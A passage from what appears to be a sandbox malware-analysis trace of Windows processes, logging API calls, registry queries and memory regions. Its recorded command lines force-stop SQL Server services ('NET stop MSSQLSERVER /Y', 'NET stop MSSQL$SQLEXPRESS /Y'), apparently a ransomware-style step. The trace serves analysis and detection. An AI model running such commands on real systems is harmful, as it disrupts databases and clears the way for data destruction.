(_String1="messenger", _String2="MSSQLSERVER") returned -14 [0036.009] _wcsicmp (_String1="receiver", _String2="MSSQLSERVER") returned 5 [0036.009] _wcsicmp (_String1="rcv", _String2="MSSQLSERVER") returned 5 [0036.009] _wcsicmp (_String1="netpopup", _String2="MSSQLSERVER") returned 1 [0036.009] _wcsicmp (_String1="redirector", _String2="MSSQLSERVER") returned 5 [0036.010] _wcsicmp (_String1="redir", _String2="MSSQLSERVER") returned 5 [0036.010] _wcsicmp (_String1="rdr", _String2="MSSQLSERVER") returned 5 [0036.010] _wcsicmp (_String1="workstation", _String2="MSSQLSERVER") returned 10 [0036.010] _wcsicmp (_String1="work", _String2="MSSQLSERVER") returned 10 [0036.010] _wcsicmp (_String1="wksta", _String2="MSSQLSERVER") returned 10 [0036.010] _wcsicmp (_String1="prdr", _String2="MSSQLSERVER") returned 3 [0036.010] _wcsicmp (_String1="devrdr", _String2="MSSQLSERVER") returned -9 [0036.010] _wcsicmp (_String1="lanmanworkstation", _String2="MSSQLSERVER") returned -1 [0036.010] _wcsicmp (_String1="server", _String2="MSSQLSERVER") returned 6 [0036.010] _wcsicmp (_String1="svr", _String2="MSSQLSERVER") returned 6 [0036.010] _wcsicmp (_String1="srv", _String2="MSSQLSERVER") returned 6 [0036.010] _wcsicmp (_String1="lanmanserver", _String2="MSSQLSERVER") returned -1 [0036.010] _wcsicmp (_String1="alerter", _String2="MSSQLSERVER") returned -12 [0036.010] _wcsicmp (_String1="netlogon", _String2="MSSQLSERVER") returned 1 [0036.010] _wcsupr (in: _String="MSSQLSERVER" | out: _String="MSSQLSERVER") returned="MSSQLSERVER" [0036.011] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x5d5498 [0036.014] GetServiceKeyNameW (in: hSCManager=0x5d5498, lpDisplayName="MSSQLSERVER", lpServiceName=0x49aaf0, lpcchBuffer=0x27f9b0 | out: lpServiceName="", lpcchBuffer=0x27f9b0) returned 0 [0036.213] _wcsicmp (_String1="msg", _String2="MSSQLSERVER") returned -12 [0036.213] _wcsicmp (_String1="messenger", _String2="MSSQLSERVER") returned -14 [0036.213] _wcsicmp (_String1="receiver", _String2="MSSQLSERVER") returned 5 [0036.213] _wcsicmp (_String1="rcv", _String2="MSSQLSERVER") returned 5 [0036.213] _wcsicmp (_String1="redirector", _String2="MSSQLSERVER") returned 5 [0036.213] _wcsicmp (_String1="redir", _String2="MSSQLSERVER") returned 5 [0036.213] _wcsicmp (_String1="rdr", _String2="MSSQLSERVER") returned 5 [0036.213] _wcsicmp (_String1="workstation", _String2="MSSQLSERVER") returned 10 [0036.213] _wcsicmp (_String1="work", _String2="MSSQLSERVER") returned 10 [0036.213] _wcsicmp (_String1="wksta", _String2="MSSQLSERVER") returned 10 [0036.213] _wcsicmp (_String1="prdr", _String2="MSSQLSERVER") returned 3 [0036.213] _wcsicmp (_String1="devrdr", _String2="MSSQLSERVER") returned -9 [0036.213] _wcsicmp (_String1="lanmanworkstation", _String2="MSSQLSERVER") returned -1 [0036.213] _wcsicmp (_String1="server", _String2="MSSQLSERVER") returned 6 [0036.213] _wcsicmp (_String1="svr", _String2="MSSQLSERVER") returned 6 [0036.213] _wcsicmp (_String1="srv", _String2="MSSQLSERVER") returned 6 [0036.213] _wcsicmp (_String1="lanmanserver", _String2="MSSQLSERVER") returned -1 [0036.213] _wcsicmp (_String1="alerter", _String2="MSSQLSERVER") returned -12 [0036.213] _wcsicmp (_String1="netlogon", _String2="MSSQLSERVER") returned 1 [0036.213] NetServiceControl (in: servername=0x0, service="MSSQLSERVER", opcode=0x0, arg=0x0, bufptr=0x27f9ac | out: bufptr=0x27f9ac) returned 0x889 [0036.214] wcscpy_s (in: _Destination=0x49a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0036.214] LoadLibraryW (lpLibFileName="NETMSG") returned 0x75130000 [0036.238] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x75130000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0x49b338, nSize=0x800, Arguments=0x499dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0036.240] GetFileType (hFile=0xb) returned 0x2 [0036.240] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x27f8cc | out: lpMode=0x27f8cc) returned 1 [0036.240] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x49b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x27f8ec, lpReserved=0x0 | out: lpBuffer=0x49b338*, lpNumberOfCharsWritten=0x27f8ec*=0x1e) returned 1 [0036.240] GetFileType (hFile=0xb) returned 0x2 [0036.241] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x27f8cc | out: lpMode=0x27f8cc) returned 1 [0036.241] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4816cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x27f8ec, lpReserved=0x0 | out: lpBuffer=0x4816cc*, lpNumberOfCharsWritten=0x27f8ec*=0x2) returned 1 [0036.241] _ultow (in: _Dest=0x889, _Radix=2619676 | out: _Dest=0x889) returned="2185" [0036.241] FormatMessageW (in: dwFlags=0x2800, lpSource=0x75130000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0x49b338, nSize=0x800, Arguments=0x499dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0036.241] GetFileType (hFile=0xb) returned 0x2 [0036.241] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x27f8d8 | out: lpMode=0x27f8d8) returned 1 [0036.241] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x49b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x27f8f8, lpReserved=0x0 | out: lpBuffer=0x49b338*, lpNumberOfCharsWritten=0x27f8f8*=0x34) returned 1 [0036.242] GetFileType (hFile=0xb) returned 0x2 [0036.242] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x27f8d8 | out: lpMode=0x27f8d8) returned 1 [0036.242] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4816cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x27f8f8, lpReserved=0x0 | out: lpBuffer=0x4816cc*, lpNumberOfCharsWritten=0x27f8f8*=0x2) returned 1 [0036.243] NetApiBufferFree (Buffer=0x5d1c08) returned 0x0 [0036.243] NetApiBufferFree (Buffer=0x5d1c20) returned 0x0 [0036.243] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop MSSQLSERVER /Y" [0036.243] exit (_Code=2) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4e6b4000" os_pid = "0xa28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET stop MSSQL$SQLEXPRESS /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 335 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 336 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 337 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 338 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 339 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 340 start_va = 0xd0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 341 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 342 start_va = 0x49ea0000 end_va = 0x49eebfff entry_point = 0x49ea0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 343 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 344 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 345 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 346 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 347 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 348 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 349 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 350 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 351 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 352 start_va = 0x210000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 353 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 354 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 355 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 356 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 357 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 358 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 359 start_va = 0x390000 end_va = 0x3f6fff entry_point = 0x390000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 360 start_va = 0x530000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 361 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 362 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 363 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 364 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 365 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 366 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 367 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 368 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 369 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 370 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 371 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 372 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 373 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 374 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 375 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 376 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 377 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 378 start_va = 0x540000 end_va = 0x6c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 379 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 380 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 381 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 382 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 383 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 384 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 385 start_va = 0x6d0000 end_va = 0x850fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 386 start_va = 0x860000 end_va = 0x1c5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 387 start_va = 0x1c60000 end_va = 0x1fa2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c60000" filename = "" Region: id = 388 start_va = 0x1fb0000 end_va = 0x227efff entry_point = 0x1fb0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 6 os_tid = 0xa2c [0036.363] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cf95c | out: lpSystemTimeAsFileTime=0x1cf95c*(dwLowDateTime=0xd7870820, dwHighDateTime=0x1d4abdd)) [0036.363] GetCurrentProcessId () returned 0xa28 [0036.363] GetCurrentThreadId () returned 0xa2c [0036.363] GetTickCount () returned 0x198c5 [0036.363] QueryPerformanceCounter (in: lpPerformanceCount=0x1cf954 | out: lpPerformanceCount=0x1cf954*=1811159300000) returned 1 [0036.364] GetModuleHandleA (lpModuleName=0x0) returned 0x49ea0000 [0036.364] __set_app_type (_Type=0x1) [0036.364] __p__fmode () returned 0x75ed31f4 [0036.364] __p__commode () returned 0x75ed31fc [0036.364] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49ec21a6) returned 0x0 [0036.364] __getmainargs (in: _Argc=0x49ec4238, _Argv=0x49ec4240, _Env=0x49ec423c, _DoWildCard=0, _StartInfo=0x49ec4140 | out: _Argc=0x49ec4238, _Argv=0x49ec4240, _Env=0x49ec423c) returned 0 [0036.364] GetCurrentThreadId () returned 0xa2c [0036.364] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa2c) returned 0x60 [0036.364] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0036.364] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0036.365] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.365] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.365] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1cf8ec | out: phkResult=0x1cf8ec*=0x0) returned 0x2 [0036.365] VirtualQuery (in: lpAddress=0x1cf923, lpBuffer=0x1cf8bc, dwLength=0x1c | out: lpBuffer=0x1cf8bc*(BaseAddress=0x1cf000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.365] VirtualQuery (in: lpAddress=0xd0000, lpBuffer=0x1cf8bc, dwLength=0x1c | out: lpBuffer=0x1cf8bc*(BaseAddress=0xd0000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0036.365] VirtualQuery (in: lpAddress=0xd1000, lpBuffer=0x1cf8bc, dwLength=0x1c | out: lpBuffer=0x1cf8bc*(BaseAddress=0xd1000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0036.365] VirtualQuery (in: lpAddress=0xd3000, lpBuffer=0x1cf8bc, dwLength=0x1c | out: lpBuffer=0x1cf8bc*(BaseAddress=0xd3000, AllocationBase=0xd0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0036.365] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x1cf8bc, dwLength=0x1c | out: lpBuffer=0x1cf8bc*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0036.365] GetConsoleOutputCP () returned 0x1b5 [0036.365] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ec4260 | out: lpCPInfo=0x49ec4260) returned 1 [0036.365] SetConsoleCtrlHandler (HandlerRoutine=0x49ebe72a, Add=1) returned 1 [0036.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.366] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0036.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.366] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49ec41ac | out: lpMode=0x49ec41ac) returned 1 [0036.366] _get_osfhandle (_FileHandle=1) returned 0x7 [0036.366] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0036.367] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.367] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49ec41b0 | out: lpMode=0x49ec41b0) returned 1 [0036.367] _get_osfhandle (_FileHandle=0) returned 0x3 [0036.367] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0036.367] GetEnvironmentStringsW () returned 0x2a2b28* [0036.368] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.368] GetEnvironmentStringsW () returned 0x2a2b28* [0036.368] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.368] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce85c | out: phkResult=0x1ce85c*=0x6c) returned 0x0 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x32, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x1, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x1, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x0, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x40, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x40, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.368] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x40, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.368] RegCloseKey (hKey=0x6c) returned 0x0 [0036.368] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ce85c | out: phkResult=0x1ce85c*=0x6c) returned 0x0 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x40, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x1, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x1, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x0, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x9, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x4, lpData=0x1ce868*=0x9, lpcbData=0x1ce860*=0x4) returned 0x0 [0036.369] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ce864, lpData=0x1ce868, lpcbData=0x1ce860*=0x1000 | out: lpType=0x1ce864*=0x0, lpData=0x1ce868*=0x9, lpcbData=0x1ce860*=0x1000) returned 0x2 [0036.369] RegCloseKey (hKey=0x6c) returned 0x0 [0036.369] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f4f [0036.369] srand (_Seed=0x5c3c3f4f) [0036.369] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQL$SQLEXPRESS /Y" [0036.369] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c NET stop MSSQL$SQLEXPRESS /Y" [0036.369] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ec5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0036.369] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2a4bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0036.370] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0036.370] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0036.370] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.370] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0036.370] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0036.370] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0036.370] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0036.370] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0036.370] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0036.370] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0036.370] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0036.370] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0036.370] GetEnvironmentStringsW () returned 0x2a2b28* [0036.371] FreeEnvironmentStringsW (penv=0x2a2b28) returned 1 [0036.371] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0036.371] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49ed0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0036.371] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0036.371] _wcsicmp (_String1="KEYS", 